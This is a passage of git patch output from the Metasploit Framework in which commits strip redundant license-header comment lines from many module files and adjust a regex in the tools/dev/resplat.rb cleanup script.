a/modules/exploits/windows/http/miniweb_upload_wbem.rb b/modules/exploits/windows/http/miniweb_upload_wbem.rb index 938a47a148..8e5a2fb904 100644 --- a/modules/exploits/windows/http/miniweb_upload_wbem.rb +++ b/modules/exploits/windows/http/miniweb_upload_wbem.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/http/netdecision_http_bof.rb b/modules/exploits/windows/http/netdecision_http_bof.rb index 47ff3807a1..08710c0659 100644 --- a/modules/exploits/windows/http/netdecision_http_bof.rb +++ b/modules/exploits/windows/http/netdecision_http_bof.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/http/rabidhamster_r4_log.rb b/modules/exploits/windows/http/rabidhamster_r4_log.rb index eceff85414..8d8289b73a 100644 --- a/modules/exploits/windows/http/rabidhamster_r4_log.rb +++ b/modules/exploits/windows/http/rabidhamster_r4_log.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/http/solarwinds_storage_manager_sql.rb b/modules/exploits/windows/http/solarwinds_storage_manager_sql.rb index f5ffc81a28..d583cd0285 100644 --- a/modules/exploits/windows/http/solarwinds_storage_manager_sql.rb +++ b/modules/exploits/windows/http/solarwinds_storage_manager_sql.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb b/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb index 16718eb7f3..9fe203fdf3 100644 --- a/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb +++ b/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/http/ultraminihttp_bof.rb b/modules/exploits/windows/http/ultraminihttp_bof.rb index 212af889c7..f4544fbc06 100644 --- a/modules/exploits/windows/http/ultraminihttp_bof.rb +++ b/modules/exploits/windows/http/ultraminihttp_bof.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/local/ask.rb b/modules/exploits/windows/local/ask.rb index bcf08348ab..93e282aabf 100644 --- a/modules/exploits/windows/local/ask.rb +++ b/modules/exploits/windows/local/ask.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/local/bypassuac.rb b/modules/exploits/windows/local/bypassuac.rb index f28f5c118a..adb5d8956c 100644 --- a/modules/exploits/windows/local/bypassuac.rb +++ b/modules/exploits/windows/local/bypassuac.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/local/current_user_psexec.rb b/modules/exploits/windows/local/current_user_psexec.rb index 6b63b8f5be..a89fc57d3c 100644 --- a/modules/exploits/windows/local/current_user_psexec.rb +++ b/modules/exploits/windows/local/current_user_psexec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/misc/actfax_raw_server_bof.rb b/modules/exploits/windows/misc/actfax_raw_server_bof.rb index bc1b1b15bd..18cd325a60 100644 --- a/modules/exploits/windows/misc/actfax_raw_server_bof.rb +++ b/modules/exploits/windows/misc/actfax_raw_server_bof.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/misc/allmediaserver_bof.rb b/modules/exploits/windows/misc/allmediaserver_bof.rb index 0dad6b453a..f9a4f25e19 100644 --- a/modules/exploits/windows/misc/allmediaserver_bof.rb +++ b/modules/exploits/windows/misc/allmediaserver_bof.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/misc/hp_dataprotector_dtbclslogin.rb b/modules/exploits/windows/misc/hp_dataprotector_dtbclslogin.rb index 572ee035ce..6968982594 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_dtbclslogin.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_dtbclslogin.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/misc/hp_dataprotector_new_folder.rb b/modules/exploits/windows/misc/hp_dataprotector_new_folder.rb index ee866e82e1..3cdb76402d 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_new_folder.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_new_folder.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/misc/ibm_cognos_tm1admsd_bof.rb b/modules/exploits/windows/misc/ibm_cognos_tm1admsd_bof.rb index acb753668f..67f28d4383 100644 --- a/modules/exploits/windows/misc/ibm_cognos_tm1admsd_bof.rb +++ b/modules/exploits/windows/misc/ibm_cognos_tm1admsd_bof.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/misc/itunes_extm3u_bof.rb b/modules/exploits/windows/misc/itunes_extm3u_bof.rb index 531598d987..9fc4e1f9b0 100644 --- a/modules/exploits/windows/misc/itunes_extm3u_bof.rb +++ b/modules/exploits/windows/misc/itunes_extm3u_bof.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/misc/trendmicro_cmdprocessor_addtask.rb b/modules/exploits/windows/misc/trendmicro_cmdprocessor_addtask.rb index c3bcc395fb..713be3d8d7 100644 --- a/modules/exploits/windows/misc/trendmicro_cmdprocessor_addtask.rb +++ b/modules/exploits/windows/misc/trendmicro_cmdprocessor_addtask.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/mssql/mssql_linkcrawler.rb b/modules/exploits/windows/mssql/mssql_linkcrawler.rb index 5621ec13c9..31dfc58a78 100644 --- a/modules/exploits/windows/mssql/mssql_linkcrawler.rb +++ b/modules/exploits/windows/mssql/mssql_linkcrawler.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## diff --git a/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb b/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb index e59a57a116..5129f8f8d3 100644 --- a/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb +++ b/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/scada/winlog_runtime_2.rb b/modules/exploits/windows/scada/winlog_runtime_2.rb index 73ab8fdbb8..f05b46dc0a 100644 --- a/modules/exploits/windows/scada/winlog_runtime_2.rb +++ b/modules/exploits/windows/scada/winlog_runtime_2.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/ssh/freesshd_authbypass.rb b/modules/exploits/windows/ssh/freesshd_authbypass.rb index 370baff539..f1da674057 100644 --- a/modules/exploits/windows/ssh/freesshd_authbypass.rb +++ b/modules/exploits/windows/ssh/freesshd_authbypass.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/ssh/sysax_ssh_username.rb b/modules/exploits/windows/ssh/sysax_ssh_username.rb index 0c5a47529a..f58fe98552 100644 --- a/modules/exploits/windows/ssh/sysax_ssh_username.rb +++ b/modules/exploits/windows/ssh/sysax_ssh_username.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/tftp/distinct_tftp_traversal.rb b/modules/exploits/windows/tftp/distinct_tftp_traversal.rb index 2f59ef9e1f..19bb81aa9f 100644 --- a/modules/exploits/windows/tftp/distinct_tftp_traversal.rb +++ b/modules/exploits/windows/tftp/distinct_tftp_traversal.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb b/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb index 55b147e8db..dec7b81b91 100644 --- a/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb +++ b/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/tftp/tftpserver_wrq_bof.rb b/modules/exploits/windows/tftp/tftpserver_wrq_bof.rb index 1d144f880e..96399818d8 100644 --- a/modules/exploits/windows/tftp/tftpserver_wrq_bof.rb +++ b/modules/exploits/windows/tftp/tftpserver_wrq_bof.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/unix/reverse_python.rb b/modules/payloads/singles/cmd/unix/reverse_python.rb index f06a561f9e..3379594c72 100644 --- a/modules/payloads/singles/cmd/unix/reverse_python.rb +++ b/modules/payloads/singles/cmd/unix/reverse_python.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/payloads/singles/linux/x86/read_file.rb b/modules/payloads/singles/linux/x86/read_file.rb index d3d72df0c9..654c247ae1 100644 --- a/modules/payloads/singles/linux/x86/read_file.rb +++ b/modules/payloads/singles/linux/x86/read_file.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/payloads/singles/windows/dns_txt_query_exec.rb b/modules/payloads/singles/windows/dns_txt_query_exec.rb index 6ad3619ae0..3dc2eec8ba 100644 --- a/modules/payloads/singles/windows/dns_txt_query_exec.rb +++ b/modules/payloads/singles/windows/dns_txt_query_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/post/linux/gather/enum_configs.rb b/modules/post/linux/gather/enum_configs.rb index f2bc5fe45e..14a1ebd8bb 100644 --- a/modules/post/linux/gather/enum_configs.rb +++ b/modules/post/linux/gather/enum_configs.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/post/linux/gather/enum_protections.rb b/modules/post/linux/gather/enum_protections.rb index 2e8c3a760b..f73d96d916 100644 --- a/modules/post/linux/gather/enum_protections.rb +++ b/modules/post/linux/gather/enum_protections.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/post/linux/gather/enum_system.rb b/modules/post/linux/gather/enum_system.rb index 37d734f5d9..e6cf4e65c4 100644 --- a/modules/post/linux/gather/enum_system.rb +++ b/modules/post/linux/gather/enum_system.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/post/linux/manage/download_exec.rb b/modules/post/linux/manage/download_exec.rb index def508640e..234158afd1 100644 --- a/modules/post/linux/manage/download_exec.rb +++ b/modules/post/linux/manage/download_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/post/multi/gather/pgpass_creds.rb b/modules/post/multi/gather/pgpass_creds.rb index 660c359921..1626252cad 100644 --- a/modules/post/multi/gather/pgpass_creds.rb +++ b/modules/post/multi/gather/pgpass_creds.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/post/multi/gather/skype_enum.rb b/modules/post/multi/gather/skype_enum.rb index cf701e6062..076cfee7a0 100644 --- a/modules/post/multi/gather/skype_enum.rb +++ b/modules/post/multi/gather/skype_enum.rb @@ -1,7 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/post/osx/gather/enum_adium.rb b/modules/post/osx/gather/enum_adium.rb index a8d4c497e0..d96e544962 100644 --- a/modules/post/osx/gather/enum_adium.rb +++ b/modules/post/osx/gather/enum_adium.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/post/osx/gather/enum_airport.rb b/modules/post/osx/gather/enum_airport.rb index eb01e7b41b..0af988662e 100644 --- a/modules/post/osx/gather/enum_airport.rb +++ b/modules/post/osx/gather/enum_airport.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/post/osx/gather/enum_chicken_vnc_profile.rb b/modules/post/osx/gather/enum_chicken_vnc_profile.rb index 9ee95c9781..c407e0b41e 100644 --- a/modules/post/osx/gather/enum_chicken_vnc_profile.rb +++ b/modules/post/osx/gather/enum_chicken_vnc_profile.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/post/osx/gather/enum_colloquy.rb b/modules/post/osx/gather/enum_colloquy.rb index d2556165f1..73fd44ff90 100644 --- a/modules/post/osx/gather/enum_colloquy.rb +++ b/modules/post/osx/gather/enum_colloquy.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/post/osx/gather/enum_keychain.rb b/modules/post/osx/gather/enum_keychain.rb index 63db6011f2..ddc9785379 100644 --- a/modules/post/osx/gather/enum_keychain.rb +++ b/modules/post/osx/gather/enum_keychain.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/post/osx/gather/password_prompt_spoof.rb b/modules/post/osx/gather/password_prompt_spoof.rb index 7552be2c23..21d2579b9a 100644 --- a/modules/post/osx/gather/password_prompt_spoof.rb +++ b/modules/post/osx/gather/password_prompt_spoof.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/post/windows/gather/dnscache_dump.rb b/modules/post/windows/gather/dnscache_dump.rb index 52b7788dad..728b1aefe3 100644 --- a/modules/post/windows/gather/dnscache_dump.rb +++ b/modules/post/windows/gather/dnscache_dump.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## diff --git a/modules/post/windows/gather/enum_files.rb b/modules/post/windows/gather/enum_files.rb index c438a83168..60c6c3a20e 100644 --- a/modules/post/windows/gather/enum_files.rb +++ b/modules/post/windows/gather/enum_files.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/post/windows/gather/forensics/recovery_files.rb b/modules/post/windows/gather/forensics/recovery_files.rb index 581e1a321d..3123045dfd 100644 --- a/modules/post/windows/gather/forensics/recovery_files.rb +++ b/modules/post/windows/gather/forensics/recovery_files.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## diff --git a/modules/post/windows/gather/local_admin_search_enum.rb b/modules/post/windows/gather/local_admin_search_enum.rb index 406250f2e9..dd1309f664 100644 --- a/modules/post/windows/gather/local_admin_search_enum.rb +++ b/modules/post/windows/gather/local_admin_search_enum.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## diff --git a/modules/post/windows/gather/word_unc_injector.rb b/modules/post/windows/gather/word_unc_injector.rb index 3834de8770..bbfdd350ee 100644 --- a/modules/post/windows/gather/word_unc_injector.rb +++ b/modules/post/windows/gather/word_unc_injector.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. # http://Metasploit.com/projects/Framework/ ## diff --git a/modules/post/windows/manage/portproxy.rb b/modules/post/windows/manage/portproxy.rb index c6715cf704..385451e7c3 100644 --- a/modules/post/windows/manage/portproxy.rb +++ b/modules/post/windows/manage/portproxy.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## class Metasploit3 < Msf::Post diff --git a/modules/post/windows/manage/powershell/exec_powershell.rb b/modules/post/windows/manage/powershell/exec_powershell.rb index 8d88757926..838c97a0a3 100644 --- a/modules/post/windows/manage/powershell/exec_powershell.rb +++ b/modules/post/windows/manage/powershell/exec_powershell.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## ## diff --git a/modules/post/windows/manage/pptp_tunnel.rb b/modules/post/windows/manage/pptp_tunnel.rb index 66f3c5ef8e..3d51ed32e3 100644 --- a/modules/post/windows/manage/pptp_tunnel.rb +++ b/modules/post/windows/manage/pptp_tunnel.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## diff --git a/modules/post/windows/manage/rpcapd_start.rb b/modules/post/windows/manage/rpcapd_start.rb index 477c83f604..a810b16f41 100644 --- a/modules/post/windows/manage/rpcapd_start.rb +++ b/modules/post/windows/manage/rpcapd_start.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/post/windows/manage/sdel.rb b/modules/post/windows/manage/sdel.rb index 12cb788f2b..d1df025153 100644 --- a/modules/post/windows/manage/sdel.rb +++ b/modules/post/windows/manage/sdel.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' From 40106b3f2269aa47c7f57ee7b808bf4b04cadbef Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Tue, 15 Oct 2013 14:12:49 -0500 Subject: [PATCH 188/409] Sometimes splats point at a /framework/ URL --- tools/dev/resplat.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/dev/resplat.rb b/tools/dev/resplat.rb index 39742879d3..ce79e3242b 100755 --- a/tools/dev/resplat.rb +++ b/tools/dev/resplat.rb @@ -49,7 +49,7 @@ Find.find(dir) do |infile| fixed = [] data.each_line do |line| case line - when /^[\x20\x09]*# This file is part of the Metasploit Framework and may be subject to/, /^[\x20\x09]*# redistribution and commercial restrictions\. Please see the Metasploit/, /^[\x20\x09]*# web site for more information on licensing and terms of use\./, /^[\x20\x09]*# http:\/\/metasploit.com\//, /# Framework web site for more information on licensing and terms of use./ + when /^[\x20\x09]*# This file is part of the Metasploit Framework and may be subject to/, /^[\x20\x09]*# redistribution and commercial restrictions\. Please see the Metasploit/, /^[\x20\x09]*# web site for more information on licensing and terms of use\./, /^[\x20\x09]*#[\s\t]{1,3}http:\/\/metasploit.com\/(framework\/)?/, /# Framework web site for more information on licensing and terms of use./ new_line = resplat(line) fixed << new_line if new_line else From ed0b84b7f7d3ae0ff5683b1249776d68ec48d618 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Tue, 15 Oct 2013 14:14:15 -0500 Subject: [PATCH 189/409] Another round of re-splatting. --- modules/auxiliary/dos/misc/dopewars.rb | 1 - modules/auxiliary/dos/sap/sap_soap_rfc_eps_delete_file.rb | 1 - modules/auxiliary/dos/upnp/miniupnpd_dos.rb | 1 - modules/auxiliary/gather/external_ip.rb | 1 - .../auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb | 1 - modules/auxiliary/scanner/sap/sap_router_info_request.rb | 1 - modules/auxiliary/scanner/sap/sap_smb_relay.rb | 1 - .../scanner/sap/sap_soap_rfc_eps_get_directory_listing.rb | 1 - .../scanner/sap/sap_soap_rfc_pfl_check_os_file_existence.rb | 1 - modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb | 1 - modules/exploits/linux/upnp/miniupnpd_soap_bof.rb | 1 - modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb | 1 - modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb | 1 - modules/exploits/osx/local/sudo_password_bypass.rb | 1 - modules/exploits/unix/webapp/php_include.rb | 1 - modules/exploits/windows/ftp/freefloatftp_user.rb | 1 - modules/exploits/windows/ftp/sami_ftpd_list.rb | 1 - modules/exploits/windows/http/shttpd_post.rb | 1 - modules/payloads/stagers/android/reverse_tcp.rb | 1 - modules/payloads/stages/android/meterpreter.rb | 1 - modules/payloads/stages/android/shell.rb | 1 - modules/post/windows/gather/dnscache_dump.rb | 1 - modules/post/windows/gather/forensics/recovery_files.rb | 1 - modules/post/windows/manage/pptp_tunnel.rb | 1 - 24 files changed, 24 deletions(-) diff --git a/modules/auxiliary/dos/misc/dopewars.rb b/modules/auxiliary/dos/misc/dopewars.rb index e9242831f4..5d272da051 100644 --- a/modules/auxiliary/dos/misc/dopewars.rb +++ b/modules/auxiliary/dos/misc/dopewars.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# http://metasploit.com/ ## require 'msf/core' diff --git a/modules/auxiliary/dos/sap/sap_soap_rfc_eps_delete_file.rb b/modules/auxiliary/dos/sap/sap_soap_rfc_eps_delete_file.rb index c2f978a0a0..3adb254965 100755 --- a/modules/auxiliary/dos/sap/sap_soap_rfc_eps_delete_file.rb +++ b/modules/auxiliary/dos/sap/sap_soap_rfc_eps_delete_file.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# http://metasploit.com/framework/ ## ## diff --git a/modules/auxiliary/dos/upnp/miniupnpd_dos.rb b/modules/auxiliary/dos/upnp/miniupnpd_dos.rb index ac23e493b0..46df4650cd 100644 --- a/modules/auxiliary/dos/upnp/miniupnpd_dos.rb +++ b/modules/auxiliary/dos/upnp/miniupnpd_dos.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# http://metasploit.com/ ## require 'msf/core' diff --git a/modules/auxiliary/gather/external_ip.rb b/modules/auxiliary/gather/external_ip.rb index 25a18f274e..3469762d8c 100755 --- a/modules/auxiliary/gather/external_ip.rb +++ b/modules/auxiliary/gather/external_ip.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# http://metasploit.com/framework/ ## diff --git a/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb b/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb index a4517ea1c0..c91d6beb79 100644 --- a/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb +++ b/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# http://metasploit.com/framework/ ## ## diff --git a/modules/auxiliary/scanner/sap/sap_router_info_request.rb b/modules/auxiliary/scanner/sap/sap_router_info_request.rb index f67ed0253d..a8d2d25180 100644 --- a/modules/auxiliary/scanner/sap/sap_router_info_request.rb +++ b/modules/auxiliary/scanner/sap/sap_router_info_request.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# http://metasploit.com/framework/ ## ## diff --git a/modules/auxiliary/scanner/sap/sap_smb_relay.rb b/modules/auxiliary/scanner/sap/sap_smb_relay.rb index 5e6d4a7206..f8e69a04d5 100755 --- a/modules/auxiliary/scanner/sap/sap_smb_relay.rb +++ b/modules/auxiliary/scanner/sap/sap_smb_relay.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# http://metasploit.com/framework/ ## ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing.rb index 2d569637a7..f3978e7773 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# http://metasploit.com/framework/ ## ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence.rb index ae7bb756b3..626f264648 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# http://metasploit.com/framework/ ## ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb index 19585fa219..1cf0bbc0de 100755 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# http://metasploit.com/framework/ ## ## diff --git a/modules/exploits/linux/upnp/miniupnpd_soap_bof.rb 